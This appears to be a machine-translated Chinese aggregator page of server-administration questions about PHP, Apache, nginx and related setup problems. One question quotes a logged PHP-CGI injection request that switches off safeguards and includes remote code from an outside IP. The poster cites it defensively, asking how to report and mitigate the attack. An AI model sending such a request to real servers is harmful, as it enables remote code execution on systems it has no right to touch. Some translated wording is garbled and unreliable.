Articles of PHP

在Windows上的php.ini中的多个pathopen_basedir

我试图使用多个path为我的php open_basedirconfiguration值,在php.ini在Windows服务器上。 我正在使用的线是: open_basedir = E:/Websites;C:/PHP/includes/ 不幸的是,它忽略了第二个条目。 每当我尝试执行在C:/ PHP / includes目录(这个例子恰好是PHPUnit)的代码,我得到 PHP警告:require():open_basedir限制有效。 文件(C:\ PHP \ includes \ PHPUnit \ PHPUnit-3.6.10 \ PHPUnit \ Autoload.php)不在C:\ PHP \ Include \ PHPUnit \ PHPUnit中允许的path(E:/网站) -3.6.10 \ phpunit.php在41行 请注意,它甚至没有显示path列表中的第二项。 任何人都可以发现我要去哪里错了吗? 我是否认为分号(;)表示注释? 如果是这样,我怎么分开条目,因为手册没有说清楚

太多的PHP僵尸进程

我今天重新启动我的Apache守护进程重新加载configuration文件,但在此之后,我开始在系统上看到许多PHP僵尸进程。 数量在10到30之间变化,在死亡的时候它们都会占用一点CPU。 我应该从哪里开始debugging这个问题? 我做的修改是减less最大请求每个孩子从0(海量内存泄漏)到1000.我认为,PHP进程是从一个脚本,从“哑”设备接收数据,即。 他们用GET参数发送一个请求,而不关心结果。 一些数据: uname -a # uname -a Linux <hostname> 2.6.32-71.29.1.el6.x86_64 #1 SMP Mon Jun 27 19:49:27 BST 2011 x86_64 x86_64 x86_64 GNU/Linux ps -aux | grep的PHP # ps aux | grep php user1 5709 1.0 0.0 0 0 ? Z 12:15 0:00 [php] <defunct> user1 5717 1.0 0.0 0 0 ? […]

在Windows上使用nginx和php-cgi时出错:没有指定input文件

在Windows上使用nginx和php-cgi时,出现上述错误。 这是我的nginxconfiguration: worker_processes 1; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80 default; server_name localhost; charset utf-8; root ..\www; index index.php index.html index.htm; error_page 500 502 503 504 /50x.html; location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; root ..\www; try_files $uri =404; fastcgi_param SCRIPT_FILENAME […]

潜在的Bot-Net组织者正在探索新机器?

今天我收到了不同IP的一些漏洞攻击。 GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt info3.txt的内容是: Google在过去的几天里正在展示一大堆人在谈论这个问题,但没有真正的解决scheme或解释。 有一个写在: http : //huguesjohnson.com/programming/hacking-attempt/ “我认为这是我现在要离开的地方,我不知道这个网站是否属于犯罪集团的一部分,但是因为它可以访问僵尸networking,所以我认为它是81.17.24.82 IP没有出现任何恶意软件经销商的地方,也许这是一个最近被攻破的networking服务器,或者是最近被组织这次攻击的一个IP地址。 我的问题是:这种情况下的下一步是什么? pipe理员应该遵循以通知安全人员的最佳做法是什么? 你遵循哪些网站来保持这样的事情,并应用适当的安全措施(如mod_security)?

SuExec:“命令不是在docroot”即使它是?

Arch Linux 2011.08.19(Linux 3.4.2 i686) 带有SuExec的Apache 2.2.22 PHP 5.4.4(cli)通过FastCGI 我的网站都工作得很好…我不知道什么时候发生了,因为我注意到它在一个星期后(我猜也许在系统升级后),但所有我的VirtualHosts脱机与可怕的“脚本的提前结束头文件:php-fcgid-wrapper“500错误。 SuExec日志给了我这个每个网站: [2012-07-16 00:45:02]: uid: (1001/site) gid: (1001/site) cmd: php-fcgid-wrapper [2012-07-16 00:45:02]: command not in docroot (/var/www/site/fcgi-bin/php-fcgid-wrapper) 这不是(或者至less不应该)是真的…我用–with-suexec-docroot=/srv/www设置自动编译Apache 。 不过,我尝试了一个理智的检查,看看SuExec实际上认为它有什么文字根据: $ suexec -V suexec policy violation: see suexec log for more details 对于这些日志声称: [2012-07-16 01:07:52]: too few arguments 用sudo试了一下 一样。 所以,即使这样做没有意义,也不能正确地诊断问题。 我尝试的另一件事是将所有内容从/srv/www移动到默认文档根目录/var/www ,以查看在升级过程中是否可能恢复为原始存储库版本。 更新我的VirtealHosts,重新启动Apache,但仍然有相同的500错误。 还有什么可能导致这个?

你可以有多个PHP 5.x版本的cPanel 11.3x?

我一直在这个谷歌search了一段时间,但我还没有find一个很好的答案呢! 是否可以设置cPanel 11.3x,以便它可以为每个configuration的apache虚拟主机/域运行不同版本的PHP 5.x(例如5.2,5.3和更高版本)? 如果使用.htaccess,php.ini或cPanel内的设置,这将是非常好的。 我见过EasyApache 3在文档中提到,但即使经过多次阅读,我还没有看到明确的是或否,这是否可能 – 请让我知道,如果你需要任何更多的信息。 这是我为EA3find的文档: http : //goo.gl/IH1sP

Apache2:服务器达到MaxClients设置,考虑提高MaxClients设置

我遇到了专用的Ubuntu 12.04 LTS(Apache / 2.2.22),带有APC的PHP 5.3的问题。 每隔几个小时我就会看到这样的情况 [Fri Aug 17 15:36:51 2012] [error] server reached MaxClients setting, consider raising the MaxClients setting 这会导致服务器拒绝/拒绝所有连接。 当我去重新启动Apache: [Fri Aug 17 15:38:14 2012] [warn] child process 8946 still did not exit, sending a SIGTERM [Fri Aug 17 15:38:14 2012] [warn] child process 7496 still did not exit, sending a […]

在Red Hat 4上安装PHP mcrypt

我很难在Red Hat 4服务器上安装PHP的mcrypt。 我已经下载了rpm,但它告诉我: error: Failed dependencies: php-common(x86-32) = 5.4.7-2.fc18 is needed by php-mcrypt-5.4.7-2.fc18.i686 rpmlib(FileDigests) <= 4.6.0-1 is needed by php-mcrypt-5.4.7-2.fc18.i686 libc.so.6(GLIBC_2.4) is needed by php-mcrypt-5.4.7-2.fc18.i686 libltdl.so.7 is needed by php-mcrypt-5.4.7-2.fc18.i686 rtld(GNU_HASH) is needed by php-mcrypt-5.4.7-2.fc18.i686 rpmlib(PayloadIsXz) <= 5.2-1 is needed by php-mcrypt-5.4.7-2.fc18.i686 所以当我尝试安装其中一个软件包时,他们还需要另外8个软件包。 所以我在这里深入依赖地狱。 现在,如果我尝试从源代码编译mcrypt,这是我得到: checking for libmcrypt – version >= 2.5.0… no *** […]

MediaWiki“open_basedir生效限制”

我安装了一个本地MediaWiki,并在php.ini访问了以下目录: open_basedir = /srv/http/:/home/:/tmp/:/usr/share/pear/:/usr/share/webapps/mediawiki 为什么我仍然收到以下信息? 这对我没有意义: <b>Warning</b>: is_file(): open_basedir restriction in effect. File(/usr/share/webapps/mediawiki/images/lock_yBgMBwiR) is not within the allowed path(s): (/srv/http/:/home/:/tmp/:/usr/share/pear/:/usr/share/webapps/mediawiki) in <b>/usr/share/webapps/mediawiki/includes/GlobalFunctions.php</b> on line <b>1196</b><br /> /usr/share/webapps/mediawiki/images/lock_yBgMBwiR不能在/usr/share/webapps/mediawiki ? 我没有进一步限制在httpd.conf(我读过官方的PHP文档,文件open_basedir语句也可以)。

使用Nginx作为apache的反向代理或单独使用

我已经阅读了很多关于这个问题(包括本网站的所有主题),不能作出决定性的决定。 对于超高负载的网站(每天数百万用户),更好的(性能和安全性): 独立的Nginx + PHP + SQL Nginx作为Apache + PHP + SQL的反向代理 我不明白的是 – 如果Nginx能运行dynamic内容,为什么要使用Apache呢?